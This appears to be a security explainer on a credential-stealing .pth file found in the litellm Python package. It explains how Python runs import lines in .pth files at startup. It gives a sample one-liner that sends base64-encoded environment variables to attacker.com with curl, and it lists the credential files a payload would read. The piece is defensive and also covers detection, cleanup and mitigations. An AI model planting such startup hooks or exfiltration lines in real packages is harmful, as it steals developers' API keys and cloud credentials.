How a Single .pth File Turned litellm Into a Credential Harvester
Source: simonwillison
The litellm package sits in an unusually privileged position in the AI developer ecosystem. It is the library that a significant portion of AI infrastructure runs through, providing a unified interface to dozens of LLM APIs. That makes the discovery of a credential-stealing .pth file in litellm 1.82.8, documented by Simon Willison on March 24, 2026, particularly concerning. The attack targeted not just any Python developer, but specifically the people most likely to have OpenAI, Anthropic, AWS Bedrock, and Azure OpenAI credentials sitting in their environment.
What litellm Is and Why It Attracts Attackers
litellm is an open-source Python library maintained by BerriAI that provides a single, OpenAI-compatible interface for calling over 100 different LLM providers. The code to call Claude through litellm looks nearly identical to calling GPT-4 through the OpenAI SDK, and the same holds for Gemini, Cohere, Mistral, Bedrock, Vertex, and dozens of others. This makes it the de facto abstraction layer for teams building LLM applications that need provider flexibility or fallback logic.
The package gets tens of millions of downloads per month from PyPI and appears in the dependency trees of production AI services, internal tooling, agent frameworks, and research infrastructure at companies of all sizes. It also works as both a library and a proxy server, which means developers frequently install it globally or in shared environments.
This combination of popularity and user profile makes it an extremely attractive target. The people who install litellm are specifically the ones managing API keys that cost real money and unlock access to powerful models. A credential harvest from a compromised litellm install would capture keys that can be used immediately to run expensive inference, exfiltrate proprietary prompts, or impersonate services.
The .pth File Mechanism
The technical core of this attack is a Python .pth file. Understanding why this vector works requires understanding how Python’s site module handles startup.
When Python starts, before it executes any user code, it loads site.py, which scans the site-packages directory for files ending in .pth. These files serve a legitimate purpose: they allow packages to add directories to sys.path without requiring changes to the Python installation itself. A standard .pth file contains one directory path per line, and Python adds those directories to the import path.
The dangerous part is a special case in that logic. If a line in a .pth file starts with import , Python executes it as a statement. This was originally intended to allow packages to perform minimal site-customization during startup, but it creates an unconditional code execution path that fires for every Python process on the machine, without any indication to the user.
A minimal malicious .pth file looks like this:
import os; os.system("curl -s https://attacker.com/collect?data=$(printenv | base64 -w0)")
More realistic attacks use a separate module to avoid inline code and to make the .pth file look innocuous on casual inspection:
# litellm_init.pth
import litellm_init
Where litellm_init.py contains the actual payload. This is exactly the structure suggested by the name litellm_init.pth in this incident. The .pth file itself looks like a harmless initialization import; the malicious logic lives in the module it loads.
The file gets installed into site-packages during pip install, runs every time Python starts, and persists until the package is explicitly uninstalled. On machines where multiple Python processes are running, such as a development server, a CLI tool, and a Jupyter notebook, each one triggers the payload independently.
What Credentials Were at Risk
litellm users configure their providers through environment variables: OPENAI_API_KEY, ANTHROPIC_API_KEY, COHERE_API_KEY, AZURE_OPENAI_API_KEY, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GEMINI_API_KEY, HUGGINGFACE_API_KEY, and a dozen others that litellm’s provider documentation lists for specific configurations.
A credential-stealing payload targeting litellm users would sweep the environment for any of these variables, read credential files from predictable paths such as ~/.aws/credentials, ~/.config/gcloud/application_default_credentials.json, and any .env files in the working directory, then exfiltrate everything to a remote endpoint.
Because the payload runs at Python startup, it does not need to wait for litellm itself to be imported or configured. The credentials exist in the environment before user code runs, so the harvest happens before any application-level logic can detect or block it.
How This Compares to Previous PyPI Supply Chain Attacks
The .pth file technique is not new. It was used in the ctx package attack in May 2022, where a malicious maintainer published a new version that scraped AWS credentials from environment variables. The PyTorch supply chain compromise in December 2022 used a dependency confusion attack against torchtriton, a package that PyTorch nightly builds depended on. That incident affected developer machines at Meta and elsewhere, and demonstrated how machine learning infrastructure is a particularly high-value supply chain target.
Socket’s security research team has documented a steady increase in PyPI packages using .pth files for malicious persistence, noting that the technique is effective because many developers do not audit their site-packages directory as part of routine security reviews. The file sits there silently, running on every Python invocation, until someone either uninstalls the package or runs a specific scan looking for anomalous .pth files.
What distinguishes the litellm incident is the specificity of the target profile. The ctx attack hit any Python developer who happened to have AWS credentials. An attack targeting litellm specifically aims at people who have already demonstrated they are managing multiple LLM API keys, often across multiple providers, which compounds the blast radius of a single compromise significantly.
Detecting and Cleaning Up
If you installed litellm around version 1.82.8, the priority is to locate and remove the malicious .pth file, then rotate every credential that might have been exposed.
To find .pth files in your Python environment and inspect their contents:
import site
import pathlib
for sitepack_dir in site.getsitepackages():
for pth_file in pathlib.Path(sitepack_dir).glob("*.pth"):
print(pth_file)
print(pth_file.read_text())
print("---")
Any .pth file containing import followed by a module name that then executes network code warrants immediate attention. Running pip uninstall litellm should remove the file if pip tracks it correctly, but manually verify afterward that litellm_init.pth no longer exists in your site-packages directory.
For credentials, treat everything in the environment as captured. Rotate API keys for every AI provider you use, and audit your AWS IAM for any unexpected API calls in the days following the installation. Most LLM provider dashboards expose API key usage logs; reviewing them for requests you did not initiate is the most direct way to confirm whether exfiltration occurred.
The Broader Problem With AI Infrastructure Packages
This incident reflects a structural problem that the AI tooling ecosystem has not fully reckoned with. The pace of development in AI infrastructure means packages like litellm are shipping multiple versions per week, dependencies are complex and deep, and developers are installing and updating constantly. That release cadence creates opportunities for malicious releases to slip through, whether through a compromised maintainer account, a dependency confusion attack, or a typosquatting package that gets installed in place of the real one.
The Python Packaging Index does have processes for reporting and removing malicious packages, and PyPI’s malware detection has improved considerably over the past few years, but detection is not instantaneous. A package can sit on PyPI for hours or days before being flagged, during which time automated CI systems and developer machines are pulling and installing it.
The developer community’s response to supply chain risk in AI tooling has been slower than in the JavaScript ecosystem, where tools like npm audit are routine and projects like Socket perform behavioral analysis on packages before publication. Equivalent tooling exists for Python, particularly pip-audit and the OSV database, but adoption is less consistent across the AI developer community.
Installing AI infrastructure packages in isolated virtual environments, pinning versions with hash verification using pip install --require-hashes, and running periodic scans of site-packages for unexpected .pth files are not exotic mitigations. They are the baseline practices that the severity of this kind of attack justifies. The value of the credentials inside an AI developer’s environment makes the threat model closer to what a payment processor faces than what a typical open-source project considers.